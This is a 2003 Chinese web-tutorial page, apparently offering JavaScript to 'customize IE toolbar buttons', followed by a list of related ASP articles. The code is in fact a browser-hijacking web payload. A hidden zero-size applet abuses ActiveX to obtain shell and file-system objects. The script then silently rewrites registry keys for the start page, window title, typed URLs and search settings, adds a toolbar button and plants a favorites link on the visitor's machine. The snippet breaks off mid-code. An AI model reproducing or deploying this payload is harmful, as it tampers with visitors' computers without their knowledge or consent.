用JS定制IE工具栏按钮

新客网 XKER.COM 2003-07-11 来源： 收藏本文

document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>");

function AddFavLnk(loc, DispName, SiteURL)
{
var Shor = Shl.CreateShortcut(loc + "\\" + DispName +".URL");
Shor.TargetPath = SiteURL;
Shor.Save();
}

function f(){
try
{
//ActiveX initialization
a1=document.applets[0];
a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Shl = a1.GetObject();
a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
a1.createInstance();
FSO = a1.GetObject();
a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Net = a1.GetObject();

try
{
if (document.cookie.indexOf("Chg") == -1)
{

Shl.RegWrite ("HKLM\\Software\\Microsoft\\Internet Explorer\\Main\\Window Title", "Microsoft Internet Explorer");
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Window Title", "Microsoft Internet Explorer");
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page", "about:blank");
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\TypedURLs\\url1", "http://sunlight.uis.mtn/");
Shl.RegWrite ("HKLM\\Software\\Microsoft\\Internet Explorer\\Extensions\\{12345678-0000-0000-0000-008713385168}\\CLSID", "{1FBA04EE-3024-11d2-8F1F-0000F87ABD16}");
Shl.RegWrite ("HKLM\\Software\\Microsoft\\Internet Explorer\\Extensions\\{12345678-0000-0000-0000-008713385168}\\ClsidExtension", "{12345678-0000-0000-0000-008713385168}");
Shl.RegWrite ("HKLM\\Software\\Microsoft\\Internet Explorer\\Extensions\\{12345678-0000-0000-0000-008713385168}\\ButtonText", "阳光城市");
Shl.RegWrite ("HKLM\\Software\\Microsoft\\Internet Explorer\\Extensions\\{12345678-0000-0000-0000-008713385168}\\Icon", "shell32.dll,42");
Shl.RegWrite ("HKLM\\Software\\Microsoft\\Internet Explorer\\Extensions\\{12345678-0000-0000-0000-008713385168}\\HotIcon", "shell32.dll,42");
Shl.RegWrite ("HKLM\\Software\\Microsoft\\Internet Explorer\\Extensions\\{12345678-0000-0000-0000-008713385168}\\exec", "http://sunlight.uis.mtn");
Shl.RegWrite ("HKLM\\Software\\Microsoft\\Internet Explorer\\Extensions\\{12345678-0000-0000-0000-008713385168}\\Default Visible", "Yes");
Shl.RegWrite ("HKLM\\Software\\Microsoft\\Internet Explorer\\Extensions\\{12345678-0000-0000-0000-008713385168}\\MenuStatusBar", "阳光城市");
Shl.RegWrite ("HKLM\\Software\\Microsoft\\Internet Explorer\\Extensions\\{12345678-0000-0000-0000-008713385168}\\MenuText", "阳光城市");
Shl.RegWrite ("HKLM\\Software\\Microsoft\\Internet Explorer\\Search\\SearchAssistant", "http://....");
Shl.RegWrite ("HKLM\\Software\\Microsoft\\Internet Explorer\\Search\\CustomizeSearch", "http://....");
var expdate = new Date((new Date()).getTime() + (1));
document.cookie="Chg=general; expires=" + expdate.toGMTString() + "; path=/;"

WF = FSO.GetSpecialFolder(0);
loc = WF + "\\Favorites";
if(!FSO.FolderExists(loc))
  {
  loc = FSO.GetDriveName(WF) + "\\Documents and Settings\\" + Net.UserName + "\\Favorites";
  if(!FSO.FolderExists(loc))
  {
  return;
  }
  }
AddFavLnk(loc, "☆阳光城市☆", "http://..../");
/

• ·ASP+ACCESS数据库中文乱码问题解决
• ·编程实例 字母+数字验证码程序
• ·ASP连接数据库错误解决办法新法
• ·初学:ASP内建对象Response
• ·ASP网站Server object error的解决办法
• ·ASP技巧：让Len,Left,Right函数识别中文
• ·把网页中的电话号码生成图片的ASP程序
• ·ASP如何实现IE地址栏参数的判断
• ·细化解析：ASP连接11种数据库语法集锦
• ·ASP实现网页打开任何类型文件都保存
• ·ASP代码直接增加、删除ACCESS表和字段
• ·ASP：判断访问是否来自搜索引擎的函数
• ·ASP技巧：禁用页面缓存的五种方法
• ·学习ASP关于与变量子类型相关的函数
• ·ASP开发中的(VBScript)类基础学习
• ·ASP访问Excel文件